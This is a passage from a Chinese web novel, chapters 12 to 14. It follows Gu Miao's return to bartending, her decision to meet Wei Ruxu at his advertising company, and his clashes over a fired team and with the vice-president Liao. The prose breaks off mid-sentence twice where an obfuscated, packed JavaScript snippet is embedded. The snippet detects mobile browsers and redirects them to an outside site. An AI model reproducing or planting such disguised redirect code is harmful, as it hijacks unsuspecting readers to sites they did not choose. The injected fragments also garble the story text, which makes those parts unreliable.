“要是诠释人生,我不是应该唱‘小白菜’么?”顾肖抱着琴侧了侧身,看向顾妙,“想听就进来坐下好好听,不要搞背后偷窥,跟班主任似的。” 顾妙自然不客气,进屋盘腿坐在他床上。 顾肖有点轻微洁癖,床品被褥都整理得十分干净整洁,看到顾妙一屁股坐起一串褶皱,本能地皱了皱眉。 “你让我进来的,后果自负。”顾妙知道他这臭毛病,多少有点故意的成分,捧着大梨老鼠似地“咔嚓咔嚓”啃了起来。 顾肖摇了摇头,懒得跟她计较,忽然想起什么似地问:“你那出差结果怎么样?去挣一万五吗?” “就知道你花喜鹊尾巴长,有了媳妇……”顾妙见顾肖的眼中扫过来的死亡之光,识趣儿地闭了嘴,把下午经历的事儿大致说了一遍,总结陈词,“他也没说后续该怎么办,我正犯愁呢。” “突然觉得你这心路历程跟韦小宝有一拼,魏如栩是想让你帮他除鳌拜吧?”顾肖有一搭没一搭地拨弄着琴弦。 顾妙:“可拉倒吧,我这搁清宫戏里活不过三集的命格,他拉我去只能加速他的死亡进程。” “这也不能怪他,他又不知道你真实情况。”顾肖语气有些戏谑,“不过姐,我听你的描述,感觉这次行事风格不太像你。” “比如?” “你以前打过那么多工,通通只走钱包,也没见你哪个这么走感情,根本不管别人怎么想。怎么这次这么多小心思?居然矫情什么自己的工作能力有没有被人肯定,还矫情老板怎么看你……” 顾肖坏笑了一下,突然“哗啦啦”一扫弦,“怎么?幻想霸道总裁爱上你?” “瞎弹什么?当你是驻场乐队啊?” 顾妙的梨啃了一半,沾了一手的汁水,她一抬手,顾肖就赶紧递了两张纸巾过去。但顾妙偏不接他的纸巾,伸手就抹在了他衣服上。 顾肖:“……” 你个记仇的坟蛋! 顾妙这才慢条斯理地回答刚才的问题:“首先,魏如栩也不是什么霸道总裁。他就是个啥都不懂的空降兵,迫不及待想保住他老爸的产业。也不知道他公司里都有什么魑魅魍魉,把他吓成这样。” “看起来确实吓得够呛。”顾肖冷笑一声,瞥了顾妙一眼,“都慌不择路了。” “其次,虽然鄙人是一枚正经八百的美少女,但还不是恋爱脑。长得好看就想让老板垂青你?做梦呢?世界上那么多美少女,就轮到你了?人家要的是人才,不是花瓶。” “姐,要点脸吧……” 顾妙咔嚓咔嚓啃完了剩下的梨子,扔进垃圾桶:“回来我仔细想过,之所以以前打工没走过感情,是因为那些工作太简单,用不着动脑子。这次动完脑子,发现自己根本没多少……理性被摧毁了百分之八十,感性就占据了主导地位,开始矫情了。这应该算是一种人的自我保护机制。” “说得也是,霸道总裁之所以显得寡情薄幸,还不是因为人业务能力强,干起活来只走大脑不用动心,就像一台没有感情的工作机器。”顾肖拨了两下琴弦,弹出一段儿歌“赛船”的曲调,“只有业务能力不行的人才整天唧唧歪歪,在乎这个在乎那个,试图找借口来掩饰自己一无所成的惨状。” 说到这里,他突然顿了顿,坏笑地说:“我发现你把自己分析得挺透彻的,基本上用不着我来帮你捋思路了。” 顾妙给了他一个疲惫的眼神,意思就是“你看我想理你么”。 顾肖连忙正色:“所以你本来已经下决心不干了,可是那家伙突然对你一番剖白心迹,让你觉得无法推辞,对吗?我就说这家伙不简单,太会攻心了,可惜……他瞎啊!要是真遇上个职场经验丰富的大姐,说不定也真是为自己招揽一员猛将。” “本来今天想跟他说清楚来着,可惜一犹豫错过了最佳时机,现在就有点不尴不尬的。而且我还是觉得这事儿当面说比较好解释。但他又什么都没交代就着急跑了,真是有点麻烦。”顾妙沉默了片刻,突然问道,“你说他那些发自肺腑的话,是真的吗?” “理论上讲,大老爷们儿确实不太会跟一个刚认识没几天的人这么说话。”顾肖沉吟道,“但你也不了解他那边的具体情况,更不了解他这个人,也不好下定论。依我看,他要真那么需要你,一定会再找你,到时候你去他公司了解下情况,再作决定。我觉得小姨说得也对,大家都不知道对方的底细,没必要什么都说得太清楚。” “唔,也只能这样了。”顾妙嘟囔着,“也不知道小姨忙什么,给她发消息也没回我。” “对了姐,出差这些开销,那位不霸道总裁给你报销了吗?”顾肖冷不丁地问。 “废话!他早转账给我了。”顾妙冷冷翻了个白眼,“我是谁?顾·钱串子·妙,这个能忘?” “那就好那就好,果然不是恋爱脑,我算是放心了。”顾肖贱兮兮地说,“本来赚钱就不易,皇姐你要是想不开去倒贴奸妃,那可就真没救了。” 顾妙一脚踹在他电脑椅上,把他踹得“咣”一声撞上了书桌,她则“事了拂衣去”,大摇大摆出了房间。 架子做得挺足,可她内心还是悲哀的:还是得抓紧找工作,这一天天的,消耗的可是生命! 小刘看到顾妙回归酒吧,有点意外,张着嘴巴半天没合上。 顾妙瞅了他一眼:“不怕落灰?” “妙妙姐,你怎么回来了?我以为你飞天成神,变白领精英了。”小刘有点沮丧,“牛都吹出去了,我这真是转身就被打脸。” 顾妙冷笑:“呵呵,我还落地成盒呢,什么白领精英,再过十年可能还差不多。” “发生了什么?那个大老板把你识破了?” “没出啥事,就帮人一个忙,帮完了我就回来了。”顾妙心累地摆摆手,“此事以后不要再提。” 小刘挠挠他那花了大钱做出来的莫西干发型:“我怎么觉得你就像去参加了个什么互换身份的真人秀,录完节目就打回原形了。” 顾妙欲哭无泪:“我可谢谢你啊,这么会抓重点。别贫了,赶紧干活去吧!” 中老年模特的活儿顾妙辞了,挣钱也不多,还挺耽误工夫。她只留了酒吧调酒师这个兼职,一来老板比较好,二来不耽误白天出去面试。 跟魏如栩开这一次会,倒是拓宽了她的求职思路,现在文秘、广告公司文案、也在她的求职范围之内。 只可惜现在已经八月份,早就错过了应届毕业生求职的黄金时期,同批毕业的大学生估计好多连实习期都过了,她还在为自己的萝卜坑辛苦奔波着。 人无远虑必有近忧啊顾小妙,她确实有点后悔当时没听顾肖的,一味地只知道打工卖苦力,耽误了最重要的事。 顾肖目前处在他人生中最幸福、最无忧无虑的阶段——高考完的暑假,他每天也就是自己对着电脑琢磨会儿代码、给熊孩子上上课、跟未来学妹闲扯淡,然后回家练吉他。想必以后的人生里,不会再有如此轻松的夏天。 这小子又聪明又有毅力,一个星期过去了,吉他技能突飞猛进,乃至顾妙这天回家的时候,居然听见他在弹唱《灰姑娘》,听起来很是那么回事。 许是太投入了,顾肖没听见她进门的声音。顾妙站了一晚上,感觉小腿胀得难受,她疲惫地坐在穿鞋凳上,靠着墙,安静地听顾肖唱歌。 吉他的音色有种很特别的金属声,带着极强的穿透力,像小皮鞭一样一下一下敲打在顾妙的心上。 许是特别累了总容易伤感,而伤感的时候又总是爱回忆往事。 她想起自己高考完的那一年没有顾肖此刻的惬意,她只是强迫着自己长大,一路往前走,不停留,不回头。 就连上了大学,她也失去了普通学生的心境,一味地加入各种社团,参加各种活动,有机会的话就拼命打工。她只是想尽快跟各种各样的人接触,学习成年人们的相处之道。 可其实,看起来活泼的顾妙,并没有那么喜欢和人打交道。由于父母的宠爱,她骨子里有些清高傲气的。她也知道这样的性格不好,所以这些年她为了让自己“平易近人”,埋头于各种能让她分心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459389|169685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的事,不去细想自己的感受。 不谈感受的生活有时候很舒服,因为万事风过耳,不在心尖留下任何痕迹。可有时候也很空虚,因为当你偶尔回忆起来的时候,发现一切都是空荡荡的。 她上大学的时候,是否也有男孩子对她投来好奇的目光?是否也有这样一个少年,为了靠近她,偷偷笨拙地练习着一首歌? 她没注意过性格好长相帅气的男生,只是在意每天的课能否跟打工的时间错开。更没有留意过是否有哪个男生曾经多看过她一眼。 仿佛世界上最适合谈一场纯粹恋爱的时机,已经被她错过了。 恋爱嘛,哪个女孩没幻想过,可于她也就只是幻想。她觉得付出感情似乎是件很危险的事,因为她害怕失去。 虽然亲情和爱情不一样,但同样都是令人百转千回的情感。父母的意外离世已经让她心口有了一个大洞,她不敢再轻易尝试,毕竟没有人能保证恋爱一次就能修成正果。 原本她觉得已经将自己分析得够透彻了,可以完全理性地控制心里各种情绪震荡,可自从跟魏如栩出过一次差,莫名她就变得多愁善感起来。 简直没道理嘛! 不过她也悄悄想过,可能这一次出差事件,意外撬开了一扇新世界的大门,让她看到了自己心底的渴望。 她想成为在职场上游刃有余的白领;她想看到自己付出的努力获得收获;她想看自己跨越一个又一个障碍,就如同在练习跆拳道时打败一个又一个对手…… 顾妙虽然是个学渣,但也记得专业课里学到过马斯洛需求层次论,她觉得这就属于她想追求的自我实现。 原本她离这个层次还有一定的距离,是魏如栩的不按常理出牌,让她有了提前接触这一层的机会。 可是这个机会似乎消失了,潜意识里她并不甘心,所以才会变得格外情绪化。 果然人就不能想太多,否则就会产生太多情绪废料,自己给自己添堵,像王小波说的,“自己屙屎自己吃”。 顾妙无奈地摇摇头,换好拖鞋,走到顾肖的门口,看着他越弹越起兴:“歌王,进展很快嘛,偏爱这首歌?不怕人家笑你是古董?” 顾肖看见她,先是一怔:“你又偷听?记得以后回家先大喊一声‘她大姨妈’知道吗?” “我特意使劲儿关了门呢,是你自己听不见,怪我咯!” “怎么说都是你有理。”顾肖撇撇嘴,伸手端起杯子喝了口水,“这首歌好听啊,我发现很多老歌都比较有韵味。” “你这是给自己加技能点吗?开学了好露一手?争当校草?”顾妙打趣道,“老弟啊,有合适的机会就出道吧,当明星比当码农好看,每天打扮得那么帅气,也不怕脱发,还有一堆妹子当粉丝,不管你遇到什么事,她们都会第一时间跳出来维护你,‘哥哥’前‘哥哥’后地叫你,多美!” 顾肖深深地叹了口气:“姐,你就只看见贼吃肉,没看见贼挨打,万一我糊了怎么办?又没有一技之长,家里蹲你养我?” 顾妙靠在门框上,懒洋洋地看着他,台灯温柔的光晕在顾肖脸上投下大片阴影,衬得他鼻梁高挺,眼睛深邃,浓眉压下来,有种说不出的英气。 她突然就觉得自己这个嘴贱的弟弟还挺好看的,没准他就是不当明星,将来也会有很多妹子暗搓搓地喜欢他。 嗯,但愿在他头秃之前能结婚吧。 “你干嘛这么瞅着我?怪瘆人的!”顾肖有些别扭,因为记忆里从小到大,顾妙的眼神没在他身上停留超过十秒,这回儿半分钟都有了。 “唔,没事,我就是想说,你要是想用《灰姑娘》跟你那个妹子表白,最好改一下歌词。”顾妙促狭地笑了笑,“不是每一个姑娘都能顶得住你对她唱‘你并不美丽,但是你可爱至极’,这简直是一记响亮的耳光。” “皇姐,不是我说你,你真是够肤浅的!” 顾妙说完就开溜,钻进自己房间,顾肖觉得她这么没事找事十分可恶,追到门口冲她的屋门大喊:“是不是魏公子不联系你,你最近情绪上过不去啊?三天两头找我麻烦,我招你了?” 可不呗,就是这事儿闹的。 顾妙心知肚明,但绝对不能跟顾肖说,不然这只花喜鹊又该嘚瑟了。 对了,自从上次说他“娶了媳妇忘了娘”之后,顾妙就把顾肖备注成了“花喜鹊”,看他现在一心修炼各种撩妹技能点,估计距离升级成“花孔雀”也不远了。 顾妙正怅然若失地发愣,手机突然响了一下,她以为只是普通的推送,拿起来一看,“魏如栩”三个字赫然映入眼帘。 13. 第十三章 手段 “妙妙姐,最近突然出国处理了一些事情,忘记跟你联系,很抱歉。如果你方便的话,明天你能不能到公司来一趟,我们就工作的事好好谈一谈。” 幸福,哦不,刺激来得有点太突然,顾妙突然间心脏狂跳,拿着手机的双手有点微微发抖。 毕竟这段时间她沉痛地将自己剖析了一遍,能好好面对内心的渴望与现实之间的差距,突然间魏如栩大神从天而降,又把传送门放在了她面前。 “没问题,明天面谈。” 打完这行字,顾妙觉得语气有点太轻快,似乎不太符合她的人设。 想到人设这个问题她又开始苦恼,毕竟这件事还没跟魏如栩坦白。而且照她之前的想法,最好还是不去接受这份工作为好,一来她有秘密,二来自己也觉得自己不够资格。 她把刚刚那行字删掉,想着不如直接拒绝,这样就不用再面对魏公子那张善于求人的脸,自己也不会再心软。撒谎这事儿就会神不知鬼不觉地翻过去,成了天知地知她知小姨、弟弟和小刘知的事。 何况她也想通了,在能力没达到之前,跳级作弊是不对的。面对诱惑,她应该有基本的自控力。 所以她飞快打字:“抱歉魏总,这些天我想了很多,还是觉得自己不够格,不如您再多找找,一定有比我更适合的人选。” 可是按发送键的时候,她又犹豫了,凌晏如的大嗓门突然在她脑海中炸响:“天上掉下来的机会,谁不接着谁脑子有包!” “要是我试都不试就拒绝了,会被小姨骂死吧?”顾妙心想。 这么想来,感觉还是去试一试的好。 她给自己找了心安理得的借口,于是把刚才那行字给又删掉了。 刚打了个“好”字,顾妙停了下来:“可是如果我去跟他坦白我的年龄问题,他一定会觉得我不诚信。这样的话他也不会再用我了吧,毕竟他现在面临信任危机。” 唉,真头大,到底该怎么办!感觉这辈子的矫情份额在这一个月里都快被她用完了。 突然顾肖“咣”地敲了一下她的门:“皇姐,热水器烧好了,我先洗了!” 顾妙正全神贯注,冷不丁被他一吓,手指尖一颤,按下了发送。 于是一个看起来高冷的“好”字被孤孤单单地发给了魏如栩。 顾妙:“……” 顾肖这玩意儿一定跟她八字犯克! 魏如栩仿佛守着手机似地秒回:“明天十点钟,公司见。” 末尾还有一个可爱的笑容图标,一如他平时见人就露出的笑脸。 顾妙实在不知道回什么好,就回了个不算风骚的“晚安”表情。 她决定,明天先去看公司情况,然后找个合适的机会跟魏如栩坦白年龄问题,等于把球踢给他,不管他怎么做决定,顾妙反正是没负担了。 想通这一点,她如释重负,晚上可谓是一夜无梦,一觉到天亮。 嘉栩广告公司虽然不大,但想必老板很舍得下本,公司选址在市中心比较繁华、租金也相对较高的一栋写字楼上。好处就是交通还算方便,坐上地铁倒两倒次就到了。 约了十点钟,顾妙就可以在早高峰后出门,省去了被挤成相片的苦恼。 想到这一点,她莫名一冲动,翻出了过生日的时候买的一双高跟鞋。 她本来个子就不矮,不穿鞋量170,一来因为家里遗传好,爸爸185,妈妈也有168,小姨凌晏如比她妈妈高,大约也是170左右。 二来顾妙从小就吃香的喝辣的,什么好东西爸爸妈妈都塞给她,她幸亏也会长,没有横向发展,营养全跟到身高上了。 不过,十八岁之前家里不让穿高跟鞋,说是影响发育。十八岁之后,她也没什么机会穿高跟鞋,整日里跑来跑去还是各种板鞋、球鞋比较方便。 况且好的高跟鞋比较贵,不好的高跟鞋也伤脚,顾妙就没怎么动过这方面的心思。直到快毕业了,她想着要做职场精英,没有一双撑气场的恨天高可怎么行,于是打着过生日的旗号宠了下自己,买了双国内品牌的高跟鞋。 经历过抢折扣券、拼手速、收货、换货等一系列让人糟心的网购经历,这双高跟鞋终于被她拿下,只可惜她也就在家试穿了一次,从此这双鞋便被束之高阁。 毕竟能穿着8厘米的高跟鞋去挤地铁、赶面试的人都天赋异禀,庸庸大众并没有掌握如此过硬的平衡技巧,要不然崴脚算是轻的,搞不好还有可能脚面骨折——这可是顾妙在地铁站里亲眼目睹过的惨剧。 但不知道出于什么心理,顾妙今天穿了这双鞋大摇大摆地出门。 可她很快就后悔了,没有穿惯高跟鞋,她总觉得自己在踩高跷,一不小心就有当众出丑的危险。 日剧韩剧里那些穿着恨天高跑起步来如履平地的妹子们是怎么练的啊! 顾妙到了嘉栩广告的时候,感觉自己膝盖以下有点不听使唤。 此刻她站在前台两腿发抖,前台妹子还慢条斯理地确认此事,顾妙恨不得此刻就脱了鞋光脚踩在地上。 确认好之后,前台妹子带着顾妙进了公司,直奔魏如栩的办公室。 嘉栩广告有两层,一层是员工办公区,大片的格子间,按照区域划分开来。办公桌布置倒是有点别出心裁,拼成了各种形状,而不是死板的豆腐块。 此刻有很多员工在用座机接打电话,有的人则默默伏案工作,看起来倒是十分忙碌。另一边靠窗的则是大大小小几个会议室,全透明玻璃,一眼望过去,能看到好多人在开会。 办公场所的墙并不是煞白的,仿佛是经过人的精心设计,涂成了不同的颜色,看起来十分生动活泼。包括墙上和路口的装饰品都显得格调高雅,给人以不俗的感觉。 第一层的末端区域是员工休息区,顾妙远远瞟一眼,看到里面有五颜六色好多豆袋沙发,再往里就看不见了,不知道还有什么有趣的东西。 前台妹子带着顾妙从旋转楼梯上到二层,没想到还要穿恨天高爬楼梯,顾妙内心简直欲哭无泪,这下不光脚疼,连腰都开始疼了。 二楼不像一楼这么敞亮,半透明的磨砂玻璃门隔开了很多办公室和会议室,还有一些挂着“创意室”牌子的房间,整个楼层的气氛比一层庄严了许多,但色调和装饰品布置倒是如出一辙,尽可能体现着一家广告公司的活泼氛围。 前台把顾妙带到了“总经理”办公室门外,敲门探头进去:“魏总,顾女士已经到了。” 透过毛玻璃,顾妙却看不到魏如栩的身影,大约这个总经理办公室很大。 这时魏如栩柔和的声音传了出来:“好,麻烦她在外间稍等一下。” 前台带着顾妙进了总经理办公室,顾妙这才看清楚里面的构造。 这里被半扇玻璃隔成了里外两间,外面这间有办公桌和长条沙发,应该是助理的工位。 此刻魏如栩在里面那间,有个人正站在他办公桌前,脑袋耷拉着,身体语言并不是很愉悦。 魏如栩远远冲着顾妙微微一笑,顾妙向他点头示意。将人带到之后,前台也脚步匆匆地离开了。 顾妙坐在沙发上,双脚的疼痛终于得到缓解,她下意识地按摩小腿,一边四下打量。 隔断不隔音,魏如栩和员工交谈的声音飘到了她耳边。 员工苦苦哀求:“小魏总,这次我真不是故意的……您就通融这一次吧,看在我也在公司工作了那么多年的份上。” 魏如栩声音不高,却是顾妙从没听过的冷漠:“话我已经说得很清楚了,不想再重复。相信你也知道,这件事如果追究起来,你的下场比现在还惨。所以,见好就收吧。” “那行,祸是我闯的,我手下的人是无辜的,没必要连他们一起……” “你办这件事之前,怎么没想过他们是无辜的?这次就要让他们知道,跟错人也会付出代价。” “小魏总!” “好了,我要说的已经说完了,接下来离职手续你跟人事部对接吧。就这样。” 办公室里面陷入死一般的沉默,就连在外面听墙角的顾妙都觉得气氛沉重尴尬得令人难以忍受。 片刻后,里面那名员工垂着头走了出来,拖拉在地上的脚步声听起来分外刺耳。 顾妙心虚地低下头装作看手机,避免跟那人有目光接触。直到听见此人离开办公室的关门声,她才缓缓舒了口气。 这人到底干了什么,魏如栩这么温和的人对他都秋风扫落叶似地不留情面 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“别跟我见外,以后都是一家人了。”魏如栩到自己的办公桌上拿了马克杯,先给自己倒了杯咖啡。他满怀期待地看着顾妙,语气温和,却是不容推拒。 顾妙:“……” 这就一家人了?这话怎么这么老土?还有点强买强卖的意思? “……那我也喝咖啡吧。” “要糖吗?” “加奶,不要糖。” 整串对话都让顾妙别扭至极,仿佛她不是来当助理的,而是来当老板的。 魏如栩端着咖啡过来坐下:“我这环境还可以吧?外面那间就是助理工作的地方,回头我带你在公司转转,你有什么不满意的尽管提,只要是我能解决的问题一定给你解决。” 顾妙更加惶恐:“不用不用,都挺好的。” 看到她这副紧张的样子,魏如栩无声地笑了笑:“刚刚的事,吓着你了吧?不小心在你面前露出另一副面孔,不知道算不算人设崩塌?” 一周前的窘境历历在目,顾妙内心有点崩溃,不知道这是老板记性太好还是恶趣味,总之以后在他面前说话一定得小心。 顾妙讪讪地:“没想到小魏总你的工作脸这么严厉……” 刚刚听被开除的那人这么称呼他,顾妙立刻入乡随俗。 “不是我严厉。”魏如栩端起杯子喝了口咖啡,垂下的眼眸中闪过一丝寒光,只是顾妙并没有看到,“他向竞争对手泄露了我方的提案,导致公司流失了一个客户,所以我把他创意B组全员开掉了。” 顾妙的心轻轻一颤:“全员?” “嗯,他是B组组长,手下一个文案,一个高级文案和两个美术,总共五个人。”魏如栩看着顾妙,面色平静,甚至可以说面无表情,“理由我跟他说了,想必刚才你也能听到。” 顾妙不由地低下了头,心里嘀咕:“难道是说给我听的?” 她现在再也不敢把魏如栩当什么地主家的傻儿子,相反她越来越看不透这个人,总觉得他脸上的表情越是平静无波,越有可能隐藏着什么别人猜不到的心思。 魏如栩淡淡说道:“信任就像是一个名贵的瓷器,打碎了就再也拼不回来。相对于工作能力,我更看重忠诚。” 顾妙的头垂得更低,心想:“亲娘啊,他怕不是看出我骗他了吧?不就是个年龄么,没什么大不了的吧。” “妙妙姐,你也觉得我下手太狠了吗?” “啊?”顾妙慌忙抬头,“没有没有,我觉得你说得很对,胳膊肘向外拐的人不能用。” 魏如栩弯起嘴角,冲她释然地笑了笑。 顾妙满心盘算着跟他招供,犹豫了半天意意思思地开了口:“小魏总,我有个事儿想跟你说……” 魏如栩把手里的杯子放在茶几上,正襟危坐,一脸庄重:“你说。” “我……” “如栩,创意B组的事儿,你下手有点狠吧!” 有个人门也没敲,一边说着话,一边一阵风似地卷了进来,看到顾妙,似乎并不在意魏如栩在会客,他眼神表情没有一丝改变,基本就当顾妙不存在:“五个人,说开就开,你让别的员工怎么想?!” 14. 第十四章 廖玄 这人大概五十岁上下,看起来身材保持得不错,皮肤是小麦健康色,应该是平时很注意锻炼的那种。花白头发很有味道,不知道用了多少发胶,糊出一个八级风来了都吹不倒的高耸造型,平白给他加了至少三厘米身高。 他穿着打扮十分追赶潮流,立领短袖白衬衫配孔雀蓝九分裤,还是很时髦的法式塞,脚上一双皮面乐福鞋,整个人是大写的骚气。 面相则有点不善——一张四方国字脸,牛眼配上肿眼泡,炯炯有神得极富压迫感。薄嘴唇上留着精心修剪过的胡须,法令纹很深,受地心引力影响极其明显,拉着两颊直向下坠。天生一副要笑不笑的表情,简直长成了“老奸巨猾”的标准相。 魏如栩像是见了前辈,立刻站了起来,周身气质瞬间变得谦恭有礼。 顾妙心想这人估计跟他有什么渊源,不然也不会直呼其名,于是也跟着恭恭敬敬站起身来。 “廖叔叔,你出差回来了?”魏如栩并没接他的话茬,而是很自然地寒暄道,“这一路辛苦了。” 顾妙摸不清这人的路数,只能站在一边陪着笑。 魏如栩适时地介绍她:“廖叔叔,这是我新招的助理顾妙。妙妙姐,这位是公司的副总兼客户部总监,也是和我父亲一起打造这家公司的元老,嘉栩广告能发展到现在这个规模,廖叔叔居功至伟。” “廖总您好。”顾妙大方地冲他笑了笑。 不过这位廖总却没把顾妙当回事,只是揪着魏如栩问他刚才的问题:“公司成立以来还没这么大手笔地直接裁掉一组人,这事儿你做得确实欠考虑。” “可现在怎么办呢?”魏如栩摊了摊手,“我确实冲动了点,不过决定已经做了,难道你要我出尔反尔吗?廖叔叔,我爸还躺在医院,我刚刚上任一个多星期,就算不烧那新官上任的三把火,我也不能当着全公司人的面自己打自己的脸,对吧?这样将来他们谁还服我?” 廖总摇了摇头:“既然这样,你又何必做这样的决定?就不能等我回来商量一下?你也知道你镇不住人,难道这样胡乱开人,就能立威了?” “话说回来,出卖过公司的人,廖叔叔你还放心用他吗?”魏如栩诚恳地看着廖总,“我这也算为公司除害吧?” “幼稚!杀一儆百就行了,一下子开除这么多……” “戴伟伦手下的组员跟了他两年,也算忠心耿耿,你就不怕留下谁在公司搞破坏?”魏如栩无奈地说,“我也是用人不疑,疑人不用,将来工作也方便,免得相互提防。” “可创意B组是这两年来表现最好的,你就不怕流失人才吗?何况透露提案内容这事儿还有待追查,他不一直也没承认吗!”廖总一脸痛心疾首,看着魏如栩的模样似乎是恨铁不成钢,“你们年轻人啊!从哪儿学来这么一套杀伐决断的作风?经营公司又不是上战场打仗,一点容错的胸襟都没有吗?” 一听“你们年轻人”这五个字,顾妙瞬间脑袋就大了一圈。 打工这么多年,以这几个字做前缀的话从来没有一句让她听了舒坦的,并且说这些话的人,全部都是些故意秀存在感的中老年loser。 之前顾妙只觉得廖总这个人过于装模作样,对他并没太多厌恶,然而这句话就像一根火柴,顿时点着了她心里的无名火,使得她立刻跟魏如栩同仇敌忾起来。 她本能地看向魏如栩,见他面不改色,手抄着口袋悠闲地踱着步:“恐怕也轮不到我容错。廖叔叔,你知道戴伟伦跟灵思传媒已经眉来眼去很久了吗?” “灵思?就是……” “对,我们的老对手,就是因为戴伟伦,他们刚刚从我们手里抢走了无人机的那个项目。” 魏如栩看着廖总,眼神中流露出一丝怜悯,“我偶然间听同事们说,你们客户部副总监盛然亲自出面,跟无人机那边的市场部连着喝了好几天酒,喝得满身长疹子,胃溃疡都犯了,才拉到了拼提案的机会,就这么轻松地被戴伟伦断送了,你不心疼吗?” 说到这里,他顿了顿,走到廖总跟前,声音柔和下来,意味深长地说:“我都心疼。” 顾妙站在一边看着他,客观地想,这是开启大忽悠模式了吗? 廖总却似乎丝毫不为所动,淡定地笑了笑:“如栩,你还年轻,这种事我们客户部见多了,要是总往心里去,那真是没法活……” 魏如栩毫不留情地再次打断他:“大概半年多以前,戴伟伦就跟灵思传媒的人开始频繁接触,幸亏这次我提前发现并且抓到了他的把柄,才能把这尊大神送走,不然再过几天,就不是东辞伙而是伙辞东了。恐怕到时候场面不仅难看,他一样会带着他的组员离开。” 廖总诧异地看着魏如栩:“这些你是怎么知道的?那时候你还在英国没回来。” “我爸很早之前让高助理查的。前两天他醒了,惦记的就是这事儿,让高助理把所有资料给我,生怕赶不及。” “这个老魏,他怀疑戴伟伦的时候怎么不跟我说呢?!”廖总痛心疾首,“这人虽然是我招进来的,但不代表我一定会手下留情!” “估计我爸就是怕你为难吧。正好也赶上你出长差,我就顺手把这事儿给办了。”魏如栩淡淡地笑了笑,“办得有点不成熟,万一将来出什么事,还得辛苦廖叔叔帮我兜着。” “说这话可就见外了,这公司我和老魏一手建起来的,我当然会好好看顾。”廖总端详着魏如栩,挂起一副情真意切的面孔,关怀备至地说,“不过……如栩呀,你一直学艺术,突然让你扛起一个公司,也是为难你了。如果你实在不想干,也别勉强,有我看着,公司不会出什么乱子。至于你爸那边,我去劝他。” “还是廖叔叔疼我,但我也没办法呀,毕竟是我爸的心血。只可惜我什么都不懂,一切都得从头学。” “老话说了,术业有专攻,你是我看着长大的,我觉得你确实不太适合干这行。你的性格跟你妈一样……” 魏如栩突然提高了声音:“廖叔叔,我想这事儿就别牵扯我妈了,毕竟她老人家十多年前就去世了。” 顾妙诧异地看向魏如栩,第一次见他脸上变了色,眼神中有强压的怒火。 可是廖总似乎根本不在意:“你这孩子,还是像她多一点,不够圆滑,也总是不给人回环余地。我也不是说这不好,但管一个公司就像排兵布阵,人也不能太正直,有时候就得用些心机,跟做个光风霁月的艺术家可不一样。” 魏如栩没有接话,咬紧牙关,嘴唇抿成一条细线。 糟糕,这是发火前兆吧?! 顾妙觉得情况不对,顾肖也是这样,真生气的时候会先保持沉默,压抑自己的怒火,避免跟人撕破脸。但如果对方还是没眼力见儿的话,估计接下来就要正面刚了。 顾妙观察着廖总,心里想:“这人什么路数,逼得魏如栩都后槽牙警告了还不知道消停。” 廖总重重地叹了口气,背起手,语重心长地说:“你向来是个文艺青年,不食人间烟火,我怕你最后活成你自己讨厌的那种人,难过的时候会埋怨我们当初不劝你。” “活成我自己讨厌的样子倒没什么关系,只要能活成你讨厌的样子就行了。” 顾妙余光瞟向魏如栩,感觉他这句话简直就是从牙缝里挤出来的。 这人面色铁青,看样子小宇宙已经燃烧到了临界点,可他还是尽量做好表情和情绪管理,控制着自己没有大规模爆发。 “跟你廖叔置气不是?!真是个孩子脾气!”廖总倒也明白适可而止,摇头叹气做全套,“好了,这次的事儿就这样吧,以后你可不能这么冲动了。对了,你说老魏醒了,他现在怎么样?等下班了我去看看他。” “不用费心。”魏如栩冷冰冰地说,“他想出国疗养,前些天我包机把他送国外了。” 廖总诧异地瞪大眼,那牛眼顿时像铜铃似的,感觉他眼皮再薄一点,眼珠子就能飞出来:“刚出ICU就乱动他?你这孩子,真是什么都不懂!怎么能随他这么任性?!唉,真让人操心!行了,多说话还显得我唠叨,费力不讨好。我走了,你忙吧!” 他一改来时的骚旋风模样,连后背似乎都佝偻了起来,步子迈得沉重而缓慢,一副为了国家大事殚精竭虑的忠诚相,一步三摇头地走出了魏如栩的办公室。 推测他已经走远,顾妙才小心翼翼地走到魏如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459391|169685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 栩身边,轻声问:“小魏总,你没事吧?” “我怎么会跟这种老滑头动气。”魏如栩转过头来,竟是一张促狭的笑脸,“连你都上当了?看来我演技不错。” 顾妙:“……” “刚刚那句话怎么样?昨晚刷剧从弹幕里学来的。”魏如栩得意地说,“没想到今天就派上用场了。” “有时候真看不懂你。”顾妙闷闷地说,“刚才我心都快跳出来了,敢情你都是装的。” “也不是不生气。”魏如栩坐回沙发里,两条长腿舒展开,有一下没一下地踩着茶几腿,“只不过不是你们想象的那样。他不是觉得我年轻就不行吗?我就如他所愿,当个混世魔王。一来他不会提防我,二来他也拿我没办法。他一个前辈,总不会跟我一个孩子较真吧!” “明白,障眼法嘛,降低他的防备心,才能看出他到底想干什么。他难道就是那个‘鳌拜’?” 魏如栩怔了怔,突然笑了起来:“什么鳌拜?妙妙姐,你脑洞可真大。难不成你以为我是康熙,你是韦小宝?” 话一出口顾妙就后悔了,都怪顾肖那个诡异的类比,害得她脱口而出。 “电视剧看多了哈哈哈,不必放在心上……” 